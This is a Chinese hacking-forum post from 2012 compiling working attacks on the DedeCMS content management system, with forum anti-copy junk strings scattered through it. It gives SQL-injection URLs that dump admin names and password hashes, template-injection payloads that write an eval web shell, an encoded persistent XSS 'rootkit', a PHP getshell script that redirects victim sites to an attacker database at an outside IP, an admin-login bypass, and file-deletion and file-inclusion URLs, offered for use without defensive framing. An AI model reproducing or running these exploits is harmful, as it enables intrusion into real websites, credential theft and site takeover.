找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3316|回复: 0
打印 上一主题 下一主题

dedecms漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 10:42:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
* [/ R& P- Y- j& H
Dedecms 5.6 rss注入漏洞
# a7 a- ?; L5 s5 h! X
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
! W1 o1 S) a5 R1 d. X' k( W0 O, a8 {8 p7 b% }" X6 j$ s; b7 u

( Z* c) M1 Z5 d' B8 z
6 }  k% z* i9 c. q, S2 x/ [; x
  T2 w' Z  O/ }5 F
4 J+ s2 ~/ {7 R1 A: w4 [
* {; n8 A  U0 n% I# r# q7 X  O8 S7 I; \4 r8 F: P7 n

! Z5 f" k8 B: r4 a2 C" O" pDedeCms v5.6 嵌入恶意代码执行漏洞% a3 Y. o' d$ {( C* p; R: O1 ^8 @! B
注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}8 p, d' n' H) J' l8 }
发表后查看或修改即可执行
% W: t: m9 |* N+ B: Sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
# }1 f7 v4 I2 T8 e生成x.php 密码xiao,直接生成一句话。
- D# l+ O; l3 g1 U2 [/ V6 z. B/ Y& B, I+ o' q1 p1 x* ]$ `. j
5 Z3 _5 A( [( H# X! N
1 r3 L- b! R( F4 T! d

4 X( t  G- R4 m+ v6 c6 |% B8 K3 b1 l
" D/ x. d' \& s9 }9 w. e

4 ^5 F/ p; P$ N* t# U
7 J$ B- y0 A( n2 N  P/ l( ADede 5.6 GBK SQL注入漏洞
( l9 ?  P6 d3 u6 }
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';4 I# X& t9 @; c& L0 Z: z9 A, F! ]
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe8 `+ c- d/ {0 }3 J# _7 m
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
' q# e- Y6 n/ E3 k. K% D5 h, T2 W& f& |  A# a  [$ m3 f6 s# t
2 L) W6 i$ x( M. y
% v5 D( X9 ?5 o/ ~, M4 r4 ?4 L% g( T! R

0 n* |9 N+ B) Z+ [; m. p8 P3 D- m8 Z0 Y
' B, j1 G3 q, T2 F# f

: ~* Z. |2 m% }$ g. i: {; [+ v
% g6 _$ C. Z- |- YDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
4 T8 d3 |+ `! n" b9 a3 H  G7 X9 e
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
% t0 G" x. q/ i$ S) h$ w2 J+ l) E3 I5 p$ p9 f0 `

8 D" l6 o4 ]6 w! P" K. u1 i9 f& ?9 Q; j8 G
; W- z+ u4 {+ _" J: Y3 s

* C# l0 G- R* V& o5 i; ~- ~
( P3 Q! I. b7 ]  Y9 gDEDECMS 全版本 gotopage变量XSS漏洞. E! x4 I& E; c0 D
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。
1 G5 f8 ~$ W  j( ?
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="8 c' ^* m* B5 B) j- b
, N1 Z6 t$ J- C1 B4 E4 h4 V, N

: j) P7 p! i9 B/ D2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。 0 H! r  i; F% w$ C
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
  h$ K* \4 i( @& D$ L* O6 n' d' N3 I+ {8 Y- t& I& [

) M4 o4 C8 F$ `* {) V3 K2 x: U0 ehttp://v57.demo.dedecms.com/dede/login.php6 b* S) ]$ F* o
& g( R0 u7 g) P" t. q
7 P* n4 ~, D6 n5 D- m
color=Red]DeDeCMS(织梦)变量覆盖getshell1 q3 b( }/ H, O7 A: W
#!usr/bin/php -w
) r/ q( C5 x. q! b8 Z) u( @: N<?php
3 f8 A# [, |1 b$ F# N1 [error_reporting(E_ERROR);
% f; t, E" u+ q! T0 zset_time_limit(0);
  P, A! X2 R2 G4 t  fprint_r('
, n9 B+ H' ~& l; m/ YDEDEcms Variable Coverage3 I- y/ l# H' g
Exploit Author:
www.heixiaozi.comwww.webvul.com) `$ K" N1 a& B0 ]: N. Y
);# h$ r0 k( Z) i4 A" s1 o
echo "\r\n";% Q+ ~  j5 I/ z/ F. q: K$ W9 V1 f, m
if($argv[2]==null){
% p/ ~1 Z$ k  T( Z2 W  Wprint_r('* _; ~# s" @' S' u  Y
+---------------------------------------------------------------------------+
, j9 I& z3 Z- m, {" e. W7 F: zUsage: php '.$argv[0].' url aid path
- m& e" J4 w+ h1 G! |: B0 Waid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
4 w  _# m0 y1 Q: p' J; {Example:, Y% U  ]0 V% d) `5 A
php '.$argv[0].'
www.site.com 1 old! j, }; d' x1 N2 B* @: i
+---------------------------------------------------------------------------+; E$ ]+ U3 g  D% s" o2 X7 C! e
');1 X$ Q5 V5 I# Y% Z- n
exit;& {9 G; C( |. j9 ~
}
2 S: Y- s' S3 J3 m* [$url=$argv[1];- w3 q. I$ K' ]
$aid=$argv[2];0 t  ^1 P! T5 j1 ]5 g' ^* B
$path=$argv[3];5 x1 K9 a; h7 ?
$exp=Getshell($url,$aid,$path);8 [+ f6 O" J" t+ }+ J: c" t) s
if (strpos($exp,"OK")>12){- l( y1 i' `  I
echo "
# n; d, K& k9 RExploit Success \n";/ [9 L$ \5 J/ j
if($aid==1)echo "
" d$ Z: l- q8 Q3 ?/ s# W, vShell:".$url."/$path/data/cache/fuck.php\n" ;
1 ~. z" L8 n# K) n: J
+ ]0 ]9 \4 ~% }, z$ p* [3 a0 E9 @  Z2 W' D% f) Z
if($aid==2)echo "
2 c5 V/ i8 j+ s% rShell:".$url."/$path/fuck.php\n" ;
- M. w2 F1 ]5 W4 Y
8 B8 I% K# u3 C# m9 n5 r) M* L# `: {  |, I
if($aid==3)echo "! d; }( I$ }, g" B% W
Shell:".$url."/$path/plus/fuck.php\n";
# }8 U' }; U% n" O
' W: x: o. J+ G9 j/ i' S, I
# n' C, E- [# P& q}else{
5 I4 ~* a/ K  f: N$ `0 |echo "
' s: B! F& D4 n4 [) m$ @Exploit Failed \n";
1 s5 t6 u5 p1 \( [" _( F* T}) l, E: R# l& N4 c1 w- c. f/ A
function Getshell($url,$aid,$path){
# U- X% c$ I8 B2 t3 {6 o& D$id=$aid;
6 U% z2 p4 W4 L" @3 d0 ?6 e$host=$url;
+ Y) P8 ]  Q8 N' t: d3 r5 v% c7 m$port="80";$ L4 V, C2 G% U  T; L4 f. k
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";& R# t" R) M: s
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";" l9 f' M% {8 S, {8 p& }
$data .= "Host: ".$host."\r\n";
; U9 t/ a: k$ z3 _  G$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ \: }6 X9 [: b' ?( {$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";. W1 C0 ], r4 A' U4 S, o: h
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
) W1 U* t; ~# m# O//$data .= "Accept-Encoding: gzip,deflate\r\n";
6 [% |0 s2 f, c- G) G. C$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";* U& p8 {% ?2 I4 h# h; t5 {- m9 i
$data .= "Connection: keep-alive\r\n";0 O! _( q7 q4 X. m  n7 I( {7 F' a
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";& ~- G, \$ A% w7 {+ K, l
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";3 B$ X! n4 L2 G2 l; n
$data .= $content."\r\n";6 q8 y# z( y: X
$ock=fsockopen($host,$port);
. l$ k+ F1 F6 ?: C0 Lif (!$ock) {
4 A/ G$ i1 y3 h) i$ M8 N! _echo "
/ x" Z& \/ H5 g% n5 JNo response from ".$host."\n";6 w+ L. d+ Z1 D+ n8 g% S4 P  T
}
( i: q/ y& W- l& T4 ufwrite($ock,$data);- {+ ^; K4 j' h/ Y% U- Y( S
while (!feof($ock)) {
' C7 l* \+ G1 |/ z5 m$exp=fgets($ock, 1024);& B2 G3 p0 `# I
return $exp;$ X& B1 U- r# r' ?/ [) l( P4 g0 d
}0 _- F0 {0 `1 B+ c# t' I
}$ d2 j, B; _0 c, e3 x
" V6 x9 c# R, f# ^0 D1 O
3 M0 w8 b2 @6 j: Q
?>& W; T# i9 V( c5 N# H, Y4 x# C
4 X9 v6 c/ z* q3 _2 f, ?$ e

0 D( [+ q8 m$ E* B* K
8 j, |$ |3 o* {# d$ H$ W1 |7 o; i! y! Q' T! G

9 L5 P9 A  J5 W3 M0 X/ v6 E: M# q2 Y9 F; u# C8 F

+ }" I$ |" i* J/ w7 J9 H6 u; ?( ^6 U4 `
& _/ z7 |7 R3 f; B% J

* G' q0 w+ t. v2 C( HDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)! w/ B! C* f% t8 l( v8 m
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
1 c: b* E' o( c9 [. W
, W6 e0 I+ ^% D
- m' ]# l" t( }- e4 k把上面validate=dcug改为当前的验证码,即可直接进入网站后台
, B7 u6 x8 [) n; r
6 }; S5 b% K/ S/ x/ V3 f6 @) }. i" r6 ~+ U, V" |' Y. i- Y
此漏洞的前提是必须得到后台路径才能实现+ @8 d$ K7 ?  d/ N8 Y
: o( F+ Q2 v. Y4 o/ R: q, x
4 S+ C, T& t% y4 ^
( z8 G2 V5 X% |* l0 M2 f6 A
$ G8 _! E7 o* \# N. ?5 o. {

4 L3 W' ]5 a7 ~4 S2 Z. \! j1 |5 g; Q- K

4 I+ P, \; u. Q: K) B& ?" p6 r; y) B4 A7 }! Y5 v, G' B

4 Y7 C# y! @# _- k: b/ c6 t% Y/ }0 y% X$ J- Z
Dedecms织梦 标签远程文件写入漏洞+ x% k1 ~/ m$ i7 o" `4 h! a, x
前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
; W5 v9 i7 b* Q; T1 l# _. F( q$ L( W

- T+ q, Q( Y  D0 G再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 ' ~4 M) G) z2 h8 O" o" o3 R/ `) P
<form action="" method="post" name="QuickSearch" id="QuickSearch"># I2 a' U$ U! s7 I& t6 G; K
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />5 e$ J' x! O1 p7 w. ~1 Y
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
7 ~7 V- d' n: C7 O: n<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
% ^, [4 B( v, o, _4 O( }9 D<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />8 R+ m( o% D! ?6 f
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
. c# ]' j! j1 ~# P! i& I<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
  O  U' m7 {4 u2 ~4 d5 ^6 U<input type="text" value="true" name="nocache" style="width:400">
' M! u- R5 ]0 H3 Z8 Y- D% t<input type="submit" value="提交" name="QuickSearchBtn"><br />
2 Z, p% n' y  t( m2 d</form>
: T) q' E( {" g3 t  C* Y3 V& e( @<script>
* i. n' A1 v) k; T* d0 _3 S% Pfunction addaction()
+ d: I& s$ }' v% Y- x# N{) O. i7 U: O0 r4 E% o
document.QuickSearch.action=document.QuickSearch.doaction.value;
' B$ A, b* j  V& H}
! B4 c7 j0 [0 Z& E$ f</script>1 [) H' n" Y5 ~! o/ y" I
0 c" i8 x- O1 v  f( S

# W8 k  m! n& b6 ~. J! g* y
4 |) j  Q/ s' E/ s) y* h
6 ^: A. G) @/ N
% F2 k+ C8 R3 N7 `8 U' Y
5 c" H; B2 l) m4 s4 Q1 n4 N  k$ X6 z$ Z. X# e/ @/ ~& @

" }* {4 ~  i; I% g8 n$ N4 Q2 E4 z
, f; h2 Z  ?% p$ ?" k4 J. Q7 [8 ]1 O3 O; B  G# P
DedeCms v5.6 嵌入恶意代码执行漏洞
/ m- r+ x1 O) ~% N$ U! g注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行* p+ C- H( r6 S; k* M
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}% J( e9 t2 k! |7 ^. D3 w& t. n
生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得
! J0 G- R/ C; M. D: r/ kDedecms <= V5.6 Final模板执行漏洞$ P% ]" V8 A; o
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:5 H- D6 e) o, r$ ]* r, x
uploads/userup/2/12OMX04-15A.jpg, }% L7 j/ P/ [) B: L% k  @" \

+ z# k0 t) Q% F# a1 S8 A9 H
9 W7 a+ |! Y' ^' ?4 r1 v/ V模板内容是(如果限制图片格式,加gif89a):
  ~# K: C% s" g% \5 Z% f{dede:name runphp='yes'}' L" y$ K( C# L1 o  u7 U
$fp = @fopen("1.php", 'a');: T: a- E6 c( ]2 h
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");7 S4 f$ |. S1 K. i
@fclose($fp);
# R, x/ |2 Y2 }+ u* F{/dede:name}
) p+ \! `  A( d* ~! `! R: t8 n2 修改刚刚发表的文章,查看源文件,构造一个表单:
9 o, R; H+ B! v3 W) V<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
3 U8 g; Q+ O- n' ~9 |3 s  N# W<input type="hidden" name="dopost" value="save" />; d4 ^8 C! B4 ~8 ~) ^: U
<input type="hidden" name="aid" value="2" />: N2 \( R9 A) S7 ^. o/ l, N4 \
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
: W2 G( ], [' F$ A/ |<input type="hidden" name="channelid" value="1" />6 x9 _* c; S7 D
<input type="hidden" name="oldlitpic" value="" />
: h" T: d2 m; E# Y2 y+ w5 o) O<input type="hidden" name="sortrank" value="1275972263" />
7 H( D. K* K* s. V6 D% K& E* p; h  r; ]# W# F' L" [

( N" B2 j( b% V4 Y<div id="mainCp">
5 n4 k0 T: D& ?  a<h3 class="meTitle"><strong>修改文章</strong></h3>3 ]& p* s' c8 a  B$ b" _6 U! p1 Y

7 C- N/ W; y; R# s% M4 u* Q7 |2 \; P; l  N$ J
<div class="postForm">, l0 T/ I8 R& e9 N, \
<label>标题:</label>- F+ K3 t4 G7 M5 m) W7 X
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
% @% a: W& ]1 k  t# {8 M  L) b( r/ G$ k( X

4 w) u- U* r( p. V<label>标签TAG:</label>: i# d( ]: c8 I5 d& L
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
" z. V7 o  ^' E1 J6 ^5 K
, D8 d: ]7 l  _& {0 _. \  c, r- s) Z5 U/ t6 i/ I! k
<label>作者:</label>+ F7 i) c  `" W/ p/ Y% j
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
) j2 V0 n( L$ ?2 J  o' f# f8 A% Z) m( _! c- w/ z. b
2 F3 V" c9 W4 g3 B& q* \7 \
<label>隶属栏目:</label>
, g& y: i9 x7 c/ N8 c<select name='typeid' size='1'>' C9 P/ T" C' z% ~
<option value='1' class='option3' selected=''>测试栏目</option>/ a3 \8 p/ [+ B) y$ L& i
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)( ~) t4 j1 |  h) E  t
( M) a: _* J/ T9 _

  `5 n  }: ]% s! P<label>我的分类:</label>
: ~9 @( D7 C) Y6 j4 }6 P, Q<select name='mtypesid' size='1'>
. W3 C; Z: I" L2 D/ A+ V<option value='0' selected>请选择分类...</option>  C* E( p1 C+ m
<option value='1' class='option3' selected>hahahha</option>7 V( V9 Y, h- N' e8 @/ }
</select>
1 ~9 o/ |$ w$ e; l, D! z
; I! Q# t+ u9 u# D( a4 a& B* h
; p& \/ p, y4 J; s" c& ?<label>信息摘要:</label>
$ o. \$ I. x+ w<textarea name="description" id="description">1111111</textarea>
9 N1 x) W8 G! B+ ]3 L( y8 H2 b(内容的简要说明)# u: G' ^" L" d- y$ @

( z, @! z8 f6 _/ r& ^2 {7 `
6 ]% `$ _' s; _- l, }<label>缩略图:</label>/ Y! [2 W8 E6 P4 t! m/ z
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
" H. c# f7 M( g7 d' u8 ]
, a1 o2 l7 f& Q4 Z  J; R( h! W3 V8 r, Z' z6 p( {
<input type='text' name='templet'
% M8 F0 r! V4 P# f6 e+ S2 W* Lvalue="../ uploads/userup/2/12OMX04-15A.jpg">% f& n  u* B- G% @( @! \- w% {: p
<input type='text' name='dede_addonfields'
6 g: T5 }9 Y. M$ F# f. rvalue="templet,htmltext;">(这里构造)
+ }. v2 s  _1 U</div>
2 V$ [# E+ [7 [7 a) {5 V. [! k; N; \& z2 V$ x2 P

  \  q3 ]/ ]& u1 w% |<!-- 表单操作区域 -->3 z9 Y+ ?0 u" C5 f
<h3 class="meTitle">详细内容</h3>
* v3 y9 [+ Q1 U! k7 J" G  M
+ c; y( }/ d5 A* ~, v) {
- i( \  a( N, O6 e4 w7 ~! F, L  s<div class="contentShow postForm">
: i4 u/ Q% B: Y  R" N<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
! R8 `& Q; c* ~& g
3 i# t5 ~: e" @# }3 y- P$ Q+ S$ ^2 {7 T9 ~* E
<label>验证码:</label>% j4 [+ W, I3 |' v
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />! A5 }) Q; f( K1 A, u
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
2 N" J8 o) N/ g. P7 T/ p# ]
# J$ C& C7 [% }  T- _# B! W: ~1 U6 l; x) j( G/ g) R$ A
<button class="button2" type="submit">提交</button>( Z3 e/ M# l+ z/ P0 Q
<button class="button2 ml10" type="reset">重置</button>: _# H) E, _2 ~: P5 u) J8 E( p) N
</div>
; G. \" Y% p5 W* p% S) c
- t' T2 T9 B: A* P) I; M# D6 N% x) J0 H
</div>
3 W- S" y( E  O! d) y$ x' A: G/ X* W7 y1 P
! R6 r( f; b! J$ V- M. U- G
</form>
* b  o/ @" a8 f6 I8 t
0 @. d& E/ Z& A. |' v; v. S7 R; u' N! E; C7 m( R5 t4 }
提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:7 l5 D- b, }7 P" `5 g& \7 L/ g6 ~
假设刚刚修改的文章的aid为2,则我们只需要访问:! v) ~+ _3 t3 r% S2 H
http://127.0.0.1/dede/plus/view.php?aid=2/ b7 x6 n/ |! C
即可以在plus目录下生成webshell:1.php  K4 J6 x2 H4 \8 L2 \

) `8 ?) ^, k. X; r* ?+ c* z- ?. e, k- ^/ z! X) q- s
& T* }# j$ i0 J; I; m9 S* \+ w
/ V( M1 P5 {" q1 ~
, M" Z- a  ?1 T6 j* T

0 F+ `% `0 `8 V' R' q) E$ w
4 S% N) o* f% C0 X' K
: G8 T0 @8 ]" v* J4 J
3 [" h- a3 g7 L/ _- w! B
! {: i. A( b/ H9 I; \; k6 Q8 v8 B. h
: A7 H$ E1 y6 [* ]& u) f2 W
% F* {" f1 X& w( d# X' c: b( R* JDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
" P# B6 x: d9 _5 j* {& qGif89a{dede:field name='toby57' runphp='yes'}: g2 @1 i$ f: _- k- P
phpinfo();! _% g. g& z2 U
{/dede:field}$ M8 g6 q! X5 V  z
保存为1.gif- m/ a: f) O, X% a9 e& E
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" "> ( b$ N; i" L8 W4 M* S1 k
<input type="hidden" name="aid" value="7" /> - K2 u# a. H0 I
<input type="hidden" name="mediatype" value="1" /> % N" K+ }! ~. ?& t+ x  }
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
" P$ C  G! a+ q! v8 i<input type="hidden" name="dopost" value="save" />
& S8 D: r* u3 k) Q- O" {& j<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/> % n+ d5 Q, g2 D
<input name="addonfile" type="file" id="addonfile"/> * N1 M6 A9 @1 ^' @7 ]
<button class="button2" type="submit" >更改</button> 3 C) y7 E: g& R. ]$ O5 F
</form> 1 R7 `& a4 j& j+ t' S2 K2 e

+ V& [2 H1 s' ~" F2 s5 |7 t* O9 A. V3 y2 H. I' |0 T
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif" q* x! a" j% X
发表文章,然后构造修改表单如下:
) C- @( X: Z$ }4 l+ |& b. L" T: s* C

8 `0 n" f! ^" P7 R' R& [<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> : ?, \/ u. ^1 g$ i8 G0 Z
<input type="hidden" name="dopost" value="save" /> 9 a9 r6 K9 q! ?: B- `1 o
<input type="hidden" name="aid" value="2" /> , _9 S  B7 a6 G6 Z/ }9 U7 X
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
2 q& ~+ i, ?4 L6 x7 a. J<input type="hidden" name="channelid" value="1" /> : L: j% Q1 D6 S- h
<input type="hidden" name="oldlitpic" value="" /> ; n4 z; ^- w. K/ E
<input type="hidden" name="sortrank" value="1282049150" />
, |* Y# V8 d% p* L3 T& ]( B$ l1 D3 r<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/> 3 [& p- e/ b3 F& @
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
2 f" O1 [! T5 e6 a' K' \: }3 u<select name='typeid' size='1'>
# t& t9 G. j9 {  ~<option value='1' class='option3' selected=''>Test</option>
: |* f$ S7 R' H0 b<select name='mtypesid' size='1'> ) z/ g0 K' h5 u, W: @# x# k
<option value='0' selected>请选择分类...</option>
% E7 o" A3 ]- k/ V7 j# _<option value='1' class='option3' selected>aa</option></select>
$ n% V' Q; ^: c6 Y& o5 N% Y) U<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
0 r# x: q# s4 U8 N7 z* V<input type='hidden' name='dede_addonfields' value="templet"> + g; `$ r1 n% [0 ~7 `0 E# w
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif"> " n2 R9 O. g- L) J2 l
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
  d4 h7 p4 R: X+ Y$ A<button class="button2" type="submit">提交</button>
2 |5 @3 U5 I3 g4 W# y; a& u</form>) \4 G$ T' w; u
' P5 F! ^; B  B) M2 G0 b8 b
; T: n, b, M" o: q5 g) K
# h% p! I2 a. w3 A6 P! X7 T
/ _/ N/ v: W( Y

( ]) ]' I/ j4 X
- W- {, w. ?1 v, C" s$ \
8 j0 A* ]: P7 J; K2 M. N+ ~, t$ }, }

* S0 Y) s( R" U' F9 C4 m
* h5 Y+ I$ |3 p; J0 `' ?. @5 [' U

; U/ z/ K) N" I. Q织梦(Dedecms)V5.6 远程文件删除漏洞. b( T; v. I2 A5 a: P7 ^
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
/ p% y6 s. U0 E6 q: w2 @
- z% l) o, A# d. I( R* f& r+ E* y- y/ P" e
! v8 i4 X/ ]$ [; r
; l& {" A1 F$ e8 p( ]; P

$ x+ g" n3 i8 p: t* o; z4 m/ P# G5 E- |$ ^) M/ p; T

/ w. i% k# [- c  K: K8 }" \
( p; n$ N# Z0 k3 x7 O$ a
3 E2 U- H; J% G% X! \% a" z4 R3 X' [2 I. t
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞 " t5 M4 i0 m$ m, z& Z
http://www.test.com/plus/carbuya ... urn&code=../../
% E* F+ E% E; p5 `) v+ ?5 l! [, e
* {$ [. ^6 j/ v' e2 [- M
) a" C$ y* k& ^7 W+ O8 R2 m* s/ I. W3 K* O

$ {; a. Q/ p5 w% h5 Y2 V& r5 y
; a. A, p! c  y1 g0 E5 P- H: B* |' P2 x, V4 ]7 k
" Y- G+ l, Z7 R2 n# L3 Z3 t

% J3 V, q' x% F- l  Y; o. O! {
7 u) P( M: g/ _2 E. f5 W6 Q% R
2 {- W" d0 D& y  B9 H: @DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
, f7 `! p2 X$ ?& ~! L5 P- E9 vplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`& O1 w" [" {, S; L5 B
密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD52 G" k8 S+ l) A; J0 y

' }3 x: F/ P4 B7 a  {/ A" n* B
  d$ Y( Y* c& y) X7 J, L. {9 C8 h% X5 l$ O2 q- a

; O1 Q4 \' a' P! H3 v3 R6 c
$ m6 d" c  E7 F0 J$ e. \
- \  D+ _2 N* M& c# m
2 u8 x0 |$ D/ c2 |8 ?% w
0 o  ^! @9 K! p6 }
  s8 H; U! r' ^; e/ f6 D" V& B8 F. c7 ]5 z" V3 n
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞( {) ^/ c8 b# b, T  p' {
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
1 T, `9 s0 Z* S6 p
( ]0 Y+ |1 ]$ {1 G- m7 V$ U- m% _( C+ q8 ~
" \: S5 f- x* S0 V/ D

4 M9 s7 ~& A- k3 h" l0 R: b( j1 k8 B( ^: V( r/ f% |4 f
